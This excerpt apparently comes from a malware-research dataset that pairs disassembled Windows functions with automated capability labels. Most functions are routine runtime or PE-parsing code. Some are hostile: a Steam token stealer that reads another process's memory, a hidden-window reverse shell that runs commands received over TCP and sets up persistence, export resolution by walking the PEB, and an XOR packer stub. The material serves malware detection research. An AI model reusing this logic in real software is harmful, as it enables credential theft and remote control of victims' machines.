joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46530
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push eax
push 0x40
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x46553
mov eax, 1
jmp 0x4665e
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x46569
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x3c], 0
jne 0x46573
mov eax, 2
jmp 0x4665e
mov edx, dword [ebp + 0x10]
push edx
push 0xf8
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x4659e
mov eax, 1
jmp 0x4665e
mov eax, dword [ebp + 8]
cmp dword [eax + 0x40], 0x4550
jne 0x465c4
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 0x58]
cmp edx, 0x10b
jne 0x465c4
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 0x46]
test ecx, ecx
jne 0x465ce
mov eax, 2
jmp 0x4665e
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x46]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x140], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x140]
push eax
call fcn.00058a10
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x138], eax
mov edx, dword [ebp + 8]
cmp dword [edx + 0x138], 0
jne 0x4660f
mov eax, 3
jmp 0x4665e
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x54]
lea ecx, [ecx + eax + 0x18]
mov edx, dword [ebp + 8]
mov dword [edx + 0x13c], ecx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x140]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x13c]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x138]
push eax
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x4665c
mov eax, 1
jmp 0x4665e
xor eax, eax
pop ebp
ret

Function at 0x47000
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x47016
xor eax, eax
jmp 0x47056
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp dword [ecx], 0x4550
jne 0x4703b
mov edx, dword [ebp - 4]
movzx eax, word [edx + 0x18]
cmp eax, 0x10b
je 0x4703f
xor eax, eax
jmp 0x47056
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x78]
push ecx
call fcn.00047060
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x570d0
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push 0x64000
nop
call 0x76dbb100
add esp, 4
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x458]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0x605bd
lea ecx, [ebp - 0x1c]
call fcn.0005a740
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x1fffff
call 0x24b0105
nop
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x57148
mov dword [ebp - 0x45c], 0x605be
lea ecx, [ebp - 0x1c]
call fcn.0005a800
mov eax, dword [ebp - 0x45c]
jmp 0x572df
mov edx, 1
test edx, edx
je 0x572ae
mov byte [ebp - 0x438], 0
push 0x207
push 0
lea eax, [ebp - 0x437]
push eax
call fcn.0005aae0
add esp, 0xc
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0xfff
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x60ba8
mov edx, dword [ebp - 4]
push edx
call fcn.00056f00
add esp, 0x20
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
add eax, 0x208
mov ecx, dword [ebp - 0x24]
adc ecx, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x24], 0
ja 0x571ca
jb 0x571c5
cmp dword [ebp - 0x28], 0
ja 0x571ca
jmp 0x572ae
cmp dword [ebp - 0x24], 0
ja 0x571d9
cmp dword [ebp - 0x28], 0xffff
jbe 0x571f5
push 0
push 0x208
lea edx, [ebp - 0x438]
push edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 4]
push ecx
call 0x24b019e
nop
lea edx, [ebp - 0x438]
push edx
lea ecx, [ebp - 0x1c]
call fcn.0005a820
lea ecx, [ebp - 0x1c]
call fcn.0005aad0
push eax
call dword [fcn.0028a784]
cmp eax, 0x12c
jle 0x572a9
lea ecx, [ebp - 0x1c]
call fcn.0005aad0
push eax
lea ecx, [ebp - 0x478]
call fcn.00057320
lea eax, [ebp - 0x478]
push eax
lea ecx, [ebp - 0x454]
push ecx
call fcn.00056b60
add esp, 8
lea ecx, [ebp - 0x478]
call fcn.00048060
lea ecx, [ebp - 0x454]
call fcn.00057380
movzx edx, al
test edx, edx
jne 0x5729e
lea ecx, [ebp - 0x454]
call fcn.00057360
cmp eax, 0xa
jbe 0x5729e
lea ecx, [ebp - 0x1c]
call fcn.0005aad0
mov dword [ebp - 0x47c], eax
lea ecx, [ebp - 0x454]
call fcn.00048060
lea ecx, [ebp - 0x1c]
call fcn.0005a800
mov eax, dword [ebp - 0x47c]
jmp 0x572df
lea ecx, [ebp - 0x454]
call fcn.00048060
jmp 0x57148
mov eax, dword [ebp - 8]
mov dword [ebp - 0x480], eax
mov ecx, dword [ebp - 0x480]
push ecx
nop
call 0x76dbb0f3
add esp, 4
mov dword [ebp - 0x484], 0x605bf
lea ecx, [ebp - 0x1c]
call fcn.0005a800
mov eax, dword [ebp - 0x484]
mov esp, ebp
pop ebp
ret

Function at 0x59750
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x59780
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
jne 0x59793
xor eax, eax
jmp 0x59851
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x597ae
xor eax, eax
jmp 0x59851
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [edx], 0x4550
je 0x597cc
xor eax, eax
jmp 0x59851
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], 0
jmp 0x5980e
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax + 0x18]
jae 0x5984f
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
push edx
call fcn.00058a30
add esp, 8
test eax, eax
jne 0x5984d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x59851
jmp 0x59805
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40c058], 1
mov dword [0x40c054], 1
mov dword [0x40c050], 1
mov dword [0x40c048], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x40c00c], eax
mov eax, dword [0x40c064]
test eax, eax
jne 0x4010b0
mov dword [esp], 1
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40c078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40c060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x40901c], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 2
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060
Function at 0x40190b
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4ff8
call fcn.00402ac0
sub esp, eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x47d0
mov dword [esp + 4], 0
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sym._memset
mov eax, dword [0x40c03c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [esp + 8], 3
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], 0x40a0b0
call sym._strncmp
test eax, eax
jne 0x4019e9
mov eax, dword [0x40c03c]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WSOCK32.DLL_WSACleanup]
call eax
mov dword [esp], 0
call sym._exit
mov dword [esp + 8], 7
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], str.persist
call sym._strncmp
test eax, eax
jne 0x401a15
call sym._setupPersistence
jmp 0x40191a
mov dword [esp + 4], 0x40a0bc
lea eax, [ebp - 0x40c]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__popen]
call eax
mov dword [ebp - 0xc], eax
jmp 0x401a4a
lea eax, [ebp - 0x80c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sym._strcat
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._fgets
test eax, eax
jne 0x401a32
mov eax, dword [0x40c03c]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x47d0
lea eax, [ebp - 0x4fdc]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
jmp 0x40191a
Function at 0x401aa9
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Hide graphical window
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
mov eax, dword [sym.imp.KERNEL32.dll_AllocConsole]
call eax
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
lea eax, [ebp - 0x1bc]
mov dword [esp], eax
call sym._decode_ip
lea eax, [ebp - 0x1ac]
mov dword [esp + 4], eax
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x401b26
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [0x40c03c], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call sym._memset
mov word [ebp - 0x1c], 2
lea eax, [ebp - 0x1bc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x18], eax
mov dword [esp], 0xa455
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1a], ax
jmp 0x401bab
mov dword [esp], 0x2710
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [0x40c03c]
mov edx, eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
jne 0x401b9a
call sym._executeCommands
mov eax, 0
leave
ret 0x10

Function at 0x401e50
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401eb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40c06c]
test esi, esi
jle 0x401fd0
mov eax, dword [0x40c070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401ee4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401f67
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401ed0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401ff7
mov eax, dword [0x40c070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40c070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401fd7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401f60
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401f70
add dword [0x40c06c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40c070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401f60
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401eee
mov eax, dword [0x40c070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x4024b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40c088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40c080]
sub esp, 4
test ebx, ebx
je 0x402505
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4024fe
test esi, esi
je 0x4024fe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4024e0
mov dword [esp], 0x40c088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x3b206063
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x23c7514e
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x100159a0
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x324
mov eax, dword [0x10086084]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x208
xor esi, esi
lea eax, [ebp - 0x20c]
push esi
push eax
call sub.msvcrt.dll_memset
push 0x110
lea eax, [ebp - 0x31c]
mov dword [ebp - 0x324], esi
push esi
push eax
call sub.msvcrt.dll_memset
add esp, 0x18
mov dword [ebp - 0x320], 0x114
lea ecx, [ebp - 0x320]
call fcn.10081ff7
test eax, eax
je 0x10015a52
cmp dword [ebp - 0x31c], 6
jne 0x10015a52
cmp dword [ebp - 0x318], 3
jne 0x10015a52
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x10015a52
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0x20c]
call fcn.10015444
test eax, eax
je 0x10015a3d
inc esi
cmp dword [ebp - 0x324], 0
je 0x10015a52
push dword [ebp - 0x324]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10083b20
mov esp, ebp
pop ebp
ret

Function at 0x10015e10
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov esi, ebx
mov edi, ecx
mov dword [ebp - 4], esi
call fcn.10015d82
test eax, eax
jne 0x10015e5f
call fcn.10015dd8
test eax, eax
jne 0x10015e5f
push 0xf2
push 0x1000386c
push ebx
push 0x100038a0
xor ecx, ecx
mov edx, edi
push ebx
inc ecx
call fcn.1002fae3
push 0xc1440136
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10015f26
mov ecx, edi
call fcn.10030b0c
push ebx
xor edx, edx
mov ecx, eax
call fcn.1003670e
mov ebx, eax
test ebx, ebx
jne 0x10015e7a
push 0xe
jmp 0x10015e54
push 0x5c
push ebx
call dword [sym.imp.msvcrt.dll_wcsrchr]
pop ecx
pop ecx
test eax, eax
jne 0x10015e90
push 0x57
jmp 0x10015f10
xor ecx, ecx
push ebx
mov word [eax + 2], cx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x10015ecb
cmp eax, 2
je 0x10015ecb
push 0x112
push 0x1000386c
push 0
push 0x10003910
xor ecx, ecx
mov edx, edi
push 0
inc ecx
call fcn.1002fae3
push 0xc1440138
jmp 0x10015f10
call fcn.10035ba8
test eax, eax
je 0x10015ed9
xor esi, esi
inc esi
jmp 0x10015f16
lea edx, [ebp - 4]
mov ecx, edi
call fcn.100284b3
mov esi, dword [ebp - 4]
test eax, eax
je 0x10015eee
test esi, esi
jne 0x10015f16
push 0x126
push 0x1000386c
push 0
push 0x10003988
xor ecx, ecx
mov edx, edi
push 0
inc ecx
call fcn.1002fae3
push 0xc1440137
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100165ad
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10086084]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
push edi
lea edi, [ebp - 0x14]
mov ecx, edx
stosd dword es:[edi], eax
xor edx, edx
mov dword [ebp - 0x20], edx
mov byte [ebp - 0x15], dl
mov dword [ebp - 0x1c], edx
mov edx, 0x10003d30
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10080125
mov edi, eax
test edi, edi
jne 0x100165f3
push 0xe
pop esi
jmp 0x10016730
lea eax, [ebp - 0x15]
push eax
push 0
push 1
push 0x12
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov esi, eax
test esi, esi
jns 0x10016629
push esi
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
cmp eax, 0x13d
je 0x10016730
push esi
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov esi, eax
jmp 0x10016730
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.RPCRT4.dll_UuidCreate]
test eax, eax
je 0x10016645
push eax
call dword [sym.imp.RPCRT4.dll_I_RpcMapWin32Status]
mov esi, eax
jmp 0x1001671a
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.RPCRT4.dll_UuidToStringW]
test eax, eax
jne 0x10016637
cmp dword [ebp - 0x1c], eax
jne 0x10016664
push 0xe
pop esi
jmp 0x1001671a
push edi
push dword [ebp - 0x1c]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
mov esi, eax
test esi, esi
jne 0x1001671a
lea eax, [ebp - 0x20]
push eax
push 0x2001b
push esi
push dword [ebp - 0x1c]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x1001670c
xor ecx, ecx
lea eax, [ebp - 0x24]
push ecx
push eax
push ecx
push 2
push ecx
push ecx
push ecx
push 0x10003d70
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
test esi, esi
jne 0x100166fa
cmp dword [ebp + 0xc], eax
jne 0x100166db
push ebx
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov esi, eax
cmp esi, 3
je 0x100166d7
cmp esi, 2
jne 0x100166f1
xor esi, esi
jmp 0x100166f1
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push ebx
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x1c]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
cmp byte [ebp - 0x15], 0
jne 0x10016730
lea eax, [ebp - 0x15]
push eax
push 0
push 0
push 0x12
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
cmp dword [ebp - 0x1c], 0
je 0x10016740
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.RPCRT4.dll_RpcStringFreeW]
test edi, edi
je 0x10016754
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
je 0x1001675f
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 4]
xor eax, eax
test esi, esi
pop edi
sete al
xor ecx, ebp
pop esi
pop ebx
call fcn.10083b20
mov esp, ebp
pop ebp
ret 8
Function at 0x100184c7
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov eax, dword [eax + 0xc]
xor edi, edi
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
mov esi, dword [eax + 0x90]
test esi, esi
je 0x1001858d
test dword [esi + 0x10], 0x400
jne 0x1001857f
cmp dword [esi + 0x58], 0
jne 0x10018507
cmp dword [esi + 0x5c], 0
je 0x1001857f
mov edx, dword [esi]
lea eax, [ebp - 4]
mov ecx, dword [ebp + 0xc]
and dword [ebp - 4], 0
push eax
call fcn.1003694f
mov ebx, dword [ebp - 4]
mov edi, eax
test edi, edi
jns 0x1001852a
push edi
push 0x482
jmp 0x10018561
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1001856b
test eax, 0x400
jne 0x1001856b
mov ecx, dword [ebp - 8]
mov edx, esi
call fcn.1003a43a
test eax, eax
je 0x1001856b
mov ecx, dword [ebp - 0xc]
push ebx
push eax
call fcn.100182cd
mov edi, eax
test edi, edi
jns 0x1001856b
push edi
push 0x494
mov ecx, 0x1000437c
call fcn.1003a254
test ebx, ebx
je 0x1001857f
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esi + 0x84]
test edi, edi
jns 0x100184e6
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8